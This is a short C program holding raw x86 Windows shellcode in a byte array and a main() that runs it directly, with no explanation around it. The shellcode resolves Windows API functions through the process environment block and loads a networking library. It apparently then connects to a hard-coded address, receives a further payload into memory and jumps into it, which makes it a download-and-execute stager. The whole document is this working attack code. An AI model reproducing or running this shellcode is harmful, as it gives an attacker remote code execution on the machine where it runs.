char code[] = "\x6a\x30\x59\x64\x8b\x01\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x68\x08" "\x8b\x45\x3c\x8b\x54\x05\x78\x01\xea\x8b\x4a\x18\x8b\x5a\x20\x01" "\xeb\x49\x8b\x34\x8b\x01\xee\x31\xff\xfc\x31\xc0\xac\x38\xe0\x74" "\x07\xc1\xcf\x0d\x01\xc7\xeb\xf2\x81\xff\x8e\x4e\x0e\xec\x75\xe1" "\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb\x8b\x04" "\x8b\x01\xe8\xeb\x00\xe8\x0e\x00\x00\x00\x44\x42\x4d\x53\x53\x4f" "\x43\x4e\x2e\x44\x4c\x4c\x00\xff\xff\xd0\x89\xc6\x66\x81\xc6\x00" "\x30\x31\xff\x66\x81\xec\x90\x01\x54\x68\x01\x01\x00\x00\xff\x56" "\x6c\x57\x57\x57\x57\x47\x57\x47\x57\xff\x56\x74\x89\xc3\x68\xc0" "\xa8\x00\xf7\x68\x02\x00\x22\x11\x89\xe1\x6a\x10\x51\x53\xff\x56" "\x4c\x66\x81\xc7\xfe\x0f\x29\xfc\x89\xe5\x50\x57\x55\x53\xff\x56" "\x54\xff\xe4"; int main(int argc, char **argv) { int (*funct)(); funct = (int (*)()) code; (int)(*funct)(); }